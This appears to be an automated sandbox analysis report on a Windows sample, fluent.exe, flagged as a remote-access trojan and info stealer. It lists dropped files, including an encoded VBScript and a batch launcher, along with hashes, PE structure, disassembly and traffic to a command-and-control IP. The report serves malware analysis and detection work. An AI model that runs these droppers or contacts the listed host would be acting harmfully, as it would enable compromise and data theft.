SHA-512:	A6EBF4AE7860C030292BBCFDBAD720A0D0DB06EF147673B6B504CADF819195960A427D33C757B370C544D43AD15AA48D1AF1D1EBA4944B15B6376A353FBFBE1D
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 53%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....Y.f................................. ........@.. ....................... ............@.................................p...K....... ............................................................................ ............... ..H............text....... ...................... ..`.rsrc... ...........................@....reloc..............................@..B........................H.......................l...i............................................0..........(.... ........8........E...........9.......8....(.... ....~....{....:....& ....8....(.... ....8....(.... ....~....{....:....& ....8........0.......... ........8........E........j...........v...>...8....~....:f... ....8.......... ....~....{....:....& ....8........~....(r...~....(v... ....<.... ....8y...r...ps....z*8.... ....~....{....:T...& ....8I...~....(j... .... .... ....s....~....(n......

C:\comReviewintocommon\TWlWAN2ryscXhu39ZLKnk88Wy4VE5T41kI6bFa9kkkqSh.vbe

Download File

Process:	C:\Users\user\Desktop\fluent.exe
File Type:	data
Category:	dropped
Size (bytes):	209
Entropy (8bit):	5.8217112575418275
Encrypted:	false
SSDEEP:	6:GxWvwqK+NkLzWbHyrFnBaORbM5nCmjzB2j1a0Q:GxFMCzWLyhBaORbQCmjkZQ
MD5:	F38A0F834ABECEB51DAD3FEBD71B10AA
SHA1:	5FA3292AF36864AD0C0771DB6A32ECA94F680975
SHA-256:	DF59CE58793BCFE06D467B78648A55A2EF6BA064848DF73BB7447595F1F723A7
SHA-512:	A89FF07384421931C31924B8CFCE2B529B4D422F56307E984F61AEC639EFF0136AD677B5934D74F286EB658E87B8D97809B4C27934F471737D3DDADC236D7BFA
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100%
Preview:	#@~^uAAAAA==j.Y~q/4?t.V^~',Z.+mYn6(L+1O`r.?1.rwDRUtnVsE@#@&.U^DbwO UV+n2vF{!ZT@#@&U+DP.ktU4+^V~',Z.nmY+}8L.mYvE.?1DbwORj4.VsJ*@#@&q/4j4+Vs "EUPr/=z^K:"+\b+SrxDW^Ws:GUJz5."b9pD`iO%c4mYE~~TBPWl^d+8ToAAA==^#~@.

C:\comReviewintocommon\YnzAdQrUUt8.bat

Download File

Process:	C:\Users\user\Desktop\fluent.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	81
Entropy (8bit):	4.985645256320292
Encrypted:	false
SSDEEP:	3:yp+HAoulwfI4ikd8aIIIKLkAt4iXoLM:yp7PqIVkeIIQJt4rM
MD5:	285BD702FA3CAF6F9F32A46A478752F8
SHA1:	D4DD3F857E6DF585BE3B6534A8655BC893438DAB
SHA-256:	DBE00A198AC01F9FB0BB57165BA85AFE928DA70C674BD8C77EDAE3964BC71418
SHA-512:	5681A6320A502F85F45AFF3C273CB66FD254E24FCCD07F7B9D2FF0EEF027094AD53184777800E5E896949FA7851FB4DB7DFB884FB75731673B3F72D62D6DCD2B
Malicious:	false
Preview:	%rafBo%%nufIkaK%..%fyqUXXmPW%"C:\comReviewintocommon/driverSavesNet.exe"%WMouOpy%

C:\comReviewintocommon\d88720fdf2530e

Download File

Process:	C:\comReviewintocommon\driverSavesNet.exe
File Type:	ASCII text, with very long lines (706), with no line terminators
Category:	dropped
Size (bytes):	706
Entropy (8bit):	5.873341679424624
Encrypted:	false
SSDEEP:	12:0HbdQueSmTAhyjJyFpEnu/kGZiy4/NSHknCj3YwbMG5:0H+jJyFo2iylH61wbMG5
MD5:	57749A7CAB0BBBB4EBC34E97BDD7C941
SHA1:	358188E077F7559F5AC3EAE60052E7B0649772E3
SHA-256:	0C12BD839A7F89BDDE405CD8A81C1A53EC42313D225E00DC0D23F2A2074F7DD4
SHA-512:	0D7D90F399EFD53A157BC2BDF477A1FFB846BDCA9FE1A1A0FCBD1D352921C91AA5216BEBC56940A51A0E14472ADC33C7D8A82688C87850FD2E3B01F987B870A6
Malicious:	false
Preview:	Wwtp8AFNoRjUT7DykMwBRmYu0f4OU8kXizOyPKZ08zKlyuy2uQZ0IaauX9ydG12prLwdsPiax5Ccbx5FrBeEjuOIZdaQV5uH6f3n8UKer8CNX8TkDswFWyF66nEOySE2L5g63SHW09WkrBvbKzMmJpuHZ7qUQ5qY4KCcbXrvlZOXceO52mD8GbsfKYg5lwG5T7qh9T9xIaBtbXp4svcn1rScbgRD0vKzTTEeyr5inP0pa9EwtlN0TdDmpNGdB67WQLaHTLGBz39l0mCcbfTOiTgzPcyklchqSdZOj6difLBZdbvCKnBgnsy6pk10WfaWWTTWNx3eButWSGWyqwZ7aBDkpcj8EmM9voDKIYzXuge28coiODKkGd5VPsruO4aYiulnDLqS6CM4gLlMyBtBcm2Ssr5ZqEJ0GGTN1BeDX1nDQBzDHf6MLY561S5VQQl23WxZ1YVwgqol9zBq21SLH6osLXViGJwGQuJ4OZLtJJqeuU6CROcY8Zu7rFOeCxqW3hUOpHcdpjC8PK70aTR1qYH0AMNJLrqWcTkM9sXJw9tZXwrgHXDsfzqfZdOc4TS82pf5ju0s6HFrpscOeqBxn80nnFwfd4PdquhsQv7XgVwYt80rBA8NRfU4z2Se7UOC1mA4Ku7ssoQSLc3pOFed6BLLan3YdcZLHugH76hQCPfnOBsW8nP20uFzaydh1jPPOE

C:\comReviewintocommon\driverSavesNet.exe

Download File

Process:	C:\Users\user\Desktop\fluent.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	2011136
Entropy (8bit):	7.5599312737247715
Encrypted:	false
SSDEEP:	24576:aaYfSyZiVbDcHyKpSxoKSoVJqjvQhufJOx9lpougTDMy79UWvlwYSrlN:aOQAxoRobq0MJOx9vg8y79UgKYSr
MD5:	F5C25B9C7F555EE1D53CE4A530C475C8
SHA1:	7E0A41CB7C6F71423A4CC932E47DBF0C217E76E4
SHA-256:	749CCD7B752553B5D7F9D9979EB8DADB6D70FB8879B22E1C6C315931D931A8AA
SHA-512:	A6EBF4AE7860C030292BBCFDBAD720A0D0DB06EF147673B6B504CADF819195960A427D33C757B370C544D43AD15AA48D1AF1D1EBA4944B15B6376A353FBFBE1D
Malicious:	true
Yara Hits:	Rule: JoeSecurity_zgRAT_1, Description: Yara detected zgRAT, Source: C:\comReviewintocommon\driverSavesNet.exe, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\comReviewintocommon\driverSavesNet.exe, Author: Joe Security
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 53%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....Y.f................................. ........@.. ....................... ............@.................................p...K....... ............................................................................ ............... ..H............text....... ...................... ..`.rsrc... ...........................@....reloc..............................@..B........................H.......................l...i............................................0..........(.... ........8........E...........9.......8....(.... ....~....{....:....& ....8....(.... ....8....(.... ....~....{....:....& ....8........0.......... ........8........E........j...........v...>...8....~....:f... ....8.......... ....~....{....:....& ....8........~....(r...~....(v... ....<.... ....8y...r...ps....z*8.... ....~....{....:T...& ....8I...~....(j... .... .... ....s....~....(n......

\Device\Null

Download File

Process:	C:\Windows\System32\PING.EXE
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	502
Entropy (8bit):	4.622527548334437
Encrypted:	false
SSDEEP:	12:PlR5pTcgTcgTcgTcgTcgTcgTcgTcgTcgTLs4oS/AFSkIrxMVlmJHaVzvv:BdUOAokItULVDv
MD5:	DF052D7F9603AAE5B5376EB7CFCC8952
SHA1:	F4FAA7034A24B0864B8D2FB1AB0BDE4726F6CA74
SHA-256:	B1E29F7BD855951ABCBD1FBACF4B303E327966D42C9F24A11A85EDADE0E461EE
SHA-512:	20A216261BCCBD2E7FADC4D7A084266877DFCE9C66C4F4E02F882276D31C3081AB880AAE5A01E63B5B40EEDD363C37B30D911952521CC88A398239CDED8C424B
Malicious:	false
Preview:	..Pinging 549163 [::1] with 32 bytes of data:..Reply from ::1: time<1ms ..Reply from ::1: time<1ms ..Reply from ::1: time<1ms ..Reply from ::1: time<1ms ..Reply from ::1: time<1ms ..Reply from ::1: time<1ms ..Reply from ::1: time<1ms ..Reply from ::1: time<1ms ..Reply from ::1: time<1ms ..Reply from ::1: time<1ms ....Ping statistics for ::1:.. Packets: Sent = 10, Received = 10, Lost = 0 (0% loss),..Approximate round trip times in milli-seconds:.. Minimum = 0ms, Maximum = 0ms, Average = 0ms..

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.765260391572624
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 50.01% Win32 Executable (generic) a (10002005/4) 49.97% Generic Win/DOS Executable (2004/3) 0.01% DOS Executable Generic (2002/1) 0.01% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	fluent.exe
File size:	3'315'422 bytes
MD5:	210e4ac30ab0f880161088551aa8519e
SHA1:	fcf6c74a63923d65a73b81f3fe8f013c353ef123
SHA256:	9fe7ab728b99e57684a89e35bad47100de9d7ad0ad0ca04253ba1d211f584a81
SHA512:	685b2bd76e81a236c29e2b26f9f8b87b4b51701aee7de413d289e6cf7ce427556b0d12cc2e681801566a0be09d6d0021afbb4e9c28975de1f732fab8c57060b0
SSDEEP:	49152:ydykj7dixkAAgI6m+5K5kEJyOQAxoRobq0MJOx9vg8y79UgKYSrC:Qyk42Exm+5WxyOQASzEvgrugKy
TLSH:	86E5F01A96924F37C2A467314057403D82A8D6753921EF2B351F78A5A903BB5CFB32FB
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......x_c.<>..<>..<>......1>.......>......$>...I..>>...I../>...I..+>...I...>..5F..7>..5F..;>..<>..)?...I...>...I..=>...I..=>...I..=>.

File Icon


Icon Hash:	1f49c6b2b2b05917

Static PE Info

General

Entrypoint:	0x40f4dd
Entrypoint Section:
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, GUARD_CF, TERMINAL_SERVER_AWARE
Time Stamp:	0x6220BF8D [Thu Mar 3 13:15:57 2022 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	d89f3dcdac0c8dba11dc1162435bedbb

Entrypoint Preview

Instruction
call 00007FFA6C81B756h
jmp 00007FFA6C81B56Eh
push 0044BB60h
push dword ptr fs:[00000000h]
mov eax, dword ptr [esp+10h]
mov dword ptr [esp+10h], ebp
lea ebp, dword ptr [esp+10h]
sub esp, eax
push ebx
push esi
push edi
mov eax, dword ptr [00466ECCh]
xor dword ptr [ebp-04h], eax
xor eax, ebp
push eax
mov dword ptr [ebp-18h], esp
push dword ptr [ebp-08h]
mov eax, dword ptr [ebp-04h]
mov dword ptr [ebp-04h], FFFFFFFEh
mov dword ptr [ebp-08h], eax
lea eax, dword ptr [ebp-10h]
mov dword ptr fs:[00000000h], eax
ret
mov ecx, dword ptr [ebp-10h]
mov dword ptr fs:[00000000h], ecx
pop ecx
pop edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
push ecx
ret
int3
int3
int3
add esp, 04h
jmp 00007FFA6CBE5322h
rcl ecx, 61h
aas
cmp esi, esp
add eax, 3C6923B4h
fisubr word ptr [ebx-1Ah]
or eax, 9CCC9134h
push FFFFFFC9h
jecxz 00007FFA6C81B76Dh
popad
stc
push es
fadd qword ptr [ecx+37h]
nop
sbb cl, byte ptr [edx]
lodsb
pop ss
and dword ptr [edx-3Bh], 76h
add dword ptr [ebp-0C839E62h], DD07CC08h
dec ebx
adc cl, byte ptr [eax+ebp*8-45h]
call far CB68h : 1CB3A63Fh
pushfd
ror dword ptr [edi+6Bh], 1
stc
add ecx, edx
in al, C2h
imul ebp, dword ptr [eax+3Bh], F5h
mov cl, E2h
sub dword ptr [esi], esp
add byte ptr [edx+185303B0h], bh
sub byte ptr [ebx+001FB3E0h], ah

Rich Headers

Programming Language:

[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x2f5020	0x34	cheat
IMAGE_DIRECTORY_ENTRY_IMPORT	0x2f5054	0x210	cheat
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x70000	0x623c	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x2f5000	0xc	cheat
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x32000	0x1be00	fd7f0982ab22a613340b886c28d23230	False	0.9972848934977578	data	7.996270662936043	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x33000	0xb000	0x4800	b7aba0b98f93846fcde5575b9236f65e	False	0.9950629340277778	data	7.982389583815037	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x3e000	0x25000	0x800	770a4b50e0157eb888ba452b695b7645	False	0.91259765625	data	7.486975522934264	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x63000	0x1000	0x200	f989b9a2bc2bf94e0b23200f32d18bd5	False	0.4453125	data	3.8027491356608873	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x64000	0x9000	0x2600	386881fe96f784e2d52c92d44a76c849	False	0.9825246710526315	data	7.941265228693602	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x6d000	0x3000	0x2000	2a9b45cbc2ae1023677187eecc26f2e1	False	0.9586181640625	data	7.849149480386021	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x70000	0x7000	0x6400	c6b070ca22a828adce4bfc8af5b1e330	False	0.23203125	data	3.024585906681764	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x77000	0x27e000	0x2ba00	6d862a35068aad724987d8d80a23ac0f	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
cheat	0x2f5000	0xe7000	0xe6c00	ccd0495e50aa875a5ece03ab21b19c4b	False	0.9973327041576381	data	7.983533870489556	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
PNG	0x64524	0xb45	data	English	United States	1.0038128249566725
PNG	0x6506c	0x15a9	data	English	United States	0.970492396813903
RT_ICON	0x70524	0x4538	Device independent bitmap graphic, 65 x 130 x 32, image size 16900, resolution 2835 x 2835 px/m			0.1881489841986456
RT_DIALOG	0x6ab50	0x286	empty	English	United States	0
RT_DIALOG	0x6add8	0x13a	empty	English	United States	0
RT_DIALOG	0x6af14	0xec	empty	English	United States	0
RT_DIALOG	0x6b000	0x12e	empty	English	United States	0
RT_DIALOG	0x6b130	0x338	empty	English	United States	0
RT_DIALOG	0x6b468	0x252	empty	English	United States	0
RT_STRING	0x74a5c	0x1e2	data	English	United States	0.3900414937759336
RT_STRING	0x74c40	0x1cc	data	English	United States	0.4282608695652174
RT_STRING	0x74e0c	0x1b8	data	English	United States	0.45681818181818185
RT_STRING	0x74fc4	0x146	data	English	United States	0.5153374233128835
RT_STRING	0x7510c	0x46c	data	English	United States	0.3454063604240283
RT_STRING	0x75578	0x166	data	English	United States	0.49162011173184356
RT_STRING	0x756e0	0x152	data	English	United States	0.5059171597633136
RT_STRING	0x75834	0x10a	data	English	United States	0.49624060150375937
RT_STRING	0x75940	0xbc	data	English	United States	0.6329787234042553
RT_STRING	0x759fc	0xd6	data	English	United States	0.5747663551401869
RT_GROUP_ICON	0x75ad4	0x14	data			1.1
RT_MANIFEST	0x75ae8	0x753	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States	0.3957333333333333

Imports

DLL	Import
kernel32.dll	GetModuleHandleA, GetProcAddress, ExitProcess, LoadLibraryA
user32.dll	MessageBoxA
advapi32.dll	RegCloseKey
oleaut32.dll	SysFreeString
gdi32.dll	CreateFontA
shell32.dll	ShellExecuteA
version.dll	GetFileVersionInfoA
gdiplus.dll	GdipAlloc

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	Protocol	SID	Signature	Severity	Source Port	Dest Port	Source IP	Dest IP
2024-08-26T20:16:32.024235+0200	TCP	2048095	ET MALWARE [ANY.RUN] DarkCrystal Rat Check-in (POST)	1	49736	80	192.168.2.4	80.211.144.156

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Aug 26, 2024 20:16:31.264019012 CEST	49736	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:16:31.271265984 CEST	80	49736	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:31.271377087 CEST	49736	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:16:31.273264885 CEST	49736	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:16:31.278119087 CEST	80	49736	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:31.643461943 CEST	49736	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:16:31.649584055 CEST	80	49736	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:31.948571920 CEST	80	49736	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:32.024235010 CEST	49736	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:16:32.037390947 CEST	80	49736	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:32.037410021 CEST	80	49736	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:32.037470102 CEST	49736	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:16:32.167639017 CEST	49736	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:16:32.172574043 CEST	80	49736	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:32.343300104 CEST	49737	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:16:32.348326921 CEST	80	49737	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:32.348392010 CEST	49737	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:16:32.348582983 CEST	49737	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:16:32.353374958 CEST	80	49737	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:32.373567104 CEST	80	49736	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:32.373752117 CEST	49736	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:16:32.378774881 CEST	80	49736	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:32.666456938 CEST	80	49736	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:32.696556091 CEST	49737	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:16:32.701533079 CEST	80	49737	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:32.701560020 CEST	80	49737	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:32.701570988 CEST	80	49737	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:32.727313995 CEST	49736	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:16:33.073539972 CEST	80	49737	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:33.093827963 CEST	49736	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:16:33.098718882 CEST	80	49736	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:33.198477030 CEST	80	49737	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:33.198569059 CEST	49737	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:16:33.302339077 CEST	80	49736	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:33.310697079 CEST	49736	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:16:33.315745115 CEST	80	49736	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:33.315860987 CEST	80	49736	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:33.602089882 CEST	80	49736	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:33.649205923 CEST	49736	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:16:34.292284966 CEST	49736	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:16:34.293278933 CEST	49740	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:16:34.297745943 CEST	80	49736	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:34.297805071 CEST	49736	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:16:34.298165083 CEST	80	49740	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:34.298228025 CEST	49740	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:16:34.298346043 CEST	49740	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:16:34.303324938 CEST	80	49740	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:34.313868046 CEST	49737	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:16:34.319118023 CEST	80	49737	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:34.319248915 CEST	49737	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:16:34.660751104 CEST	49740	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:16:34.665823936 CEST	80	49740	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:34.665838003 CEST	80	49740	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:34.665903091 CEST	80	49740	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:34.981780052 CEST	80	49740	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:35.071340084 CEST	49740	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:16:35.116571903 CEST	80	49740	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:35.274221897 CEST	49740	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:16:35.318829060 CEST	49741	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:16:35.323748112 CEST	80	49741	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:35.323834896 CEST	49741	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:16:35.324209929 CEST	49741	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:16:35.329014063 CEST	80	49741	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:35.539356947 CEST	49740	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:16:35.680524111 CEST	49741	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:16:35.728929043 CEST	49741	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:16:35.760557890 CEST	80	49741	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:35.760721922 CEST	80	49741	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:35.760943890 CEST	80	49741	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:35.760953903 CEST	80	49741	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:36.993627071 CEST	80	49741	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:36.993648052 CEST	80	49741	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:36.993673086 CEST	80	49741	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:36.993706942 CEST	49741	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:16:36.993732929 CEST	49741	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:16:36.993947029 CEST	80	49741	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:36.993995905 CEST	49741	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:16:36.994240999 CEST	80	49741	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:36.994281054 CEST	49741	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:16:37.226131916 CEST	49741	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:16:37.228701115 CEST	49743	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:16:37.271488905 CEST	80	49743	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:37.271753073 CEST	49743	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:16:37.271836042 CEST	49743	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:16:37.272665024 CEST	80	49741	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:37.272829056 CEST	49741	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:16:37.276649952 CEST	80	49743	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:37.619358063 CEST	49743	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:16:37.625149012 CEST	80	49743	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:37.625283003 CEST	80	49743	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:37.625293016 CEST	80	49743	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:37.970411062 CEST	80	49743	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:38.108028889 CEST	49743	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:16:38.109179974 CEST	80	49743	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:38.222661018 CEST	49743	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:16:38.292529106 CEST	49743	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:16:38.292933941 CEST	49745	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:16:38.297844887 CEST	80	49743	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:38.297899008 CEST	80	49745	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:38.297936916 CEST	49743	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:16:38.297981977 CEST	49745	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:16:38.298149109 CEST	49745	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:16:38.302925110 CEST	80	49745	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:38.641344070 CEST	49746	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:16:38.646891117 CEST	49745	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:16:38.653994083 CEST	80	49746	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:38.654082060 CEST	49746	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:16:38.657227993 CEST	49746	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:16:38.830621004 CEST	49748	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:16:39.009644032 CEST	49746	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:16:39.039829969 CEST	49746	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:16:39.039829969 CEST	49745	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:16:39.368913889 CEST	49746	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:16:39.649188995 CEST	49745	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:16:39.736437082 CEST	80	49745	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:39.736465931 CEST	80	49745	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:39.736499071 CEST	80	49745	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:39.736507893 CEST	49745	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:16:39.736536026 CEST	49745	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:16:39.738888025 CEST	49745	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:16:39.739233017 CEST	80	49746	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:39.739276886 CEST	49746	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:16:39.852334023 CEST	49748	80	192.168.2.4	80.211.144.156
Aug 26, 2024 20:16:39.994554043 CEST	80	49746	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:39.994635105 CEST	80	49748	80.211.144.156	192.168.2.4
Aug 26, 2024 20:16:39.994654894 CEST	80	49745	80.211.144.156	192.168.2.4
